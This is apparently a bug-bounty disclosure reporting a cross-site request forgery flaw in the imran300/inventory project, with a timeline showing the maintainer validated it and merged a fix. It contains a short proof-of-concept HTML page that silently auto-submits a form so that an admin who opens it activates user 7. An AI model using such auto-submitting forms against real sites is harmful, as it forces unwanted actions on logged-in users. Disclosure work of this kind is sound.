Cross-Site Request Forgery (CSRF) in imran300/inventory

Valid

Reported on

Sep 4th 2021


✍️ Description

You didn't set any CSRF protection for activating a user.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/inventory/index.php/Users/activeStatus/7">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

After that admin open the PoC.html file the user with id 7 will be activated.

💥 Impact

This vulnerability is capable of activate any user with on click.

Occurences

We have contacted a member of the imran300/inventory team and are waiting to hear back 3 months ago
Mian Muhammad Imran Shah validated this vulnerability 3 months ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
Mian Muhammad Imran Shah confirmed that a fix has been merged on 9809cc 3 months ago
Mian Muhammad Imran Shah has been awarded the fix bounty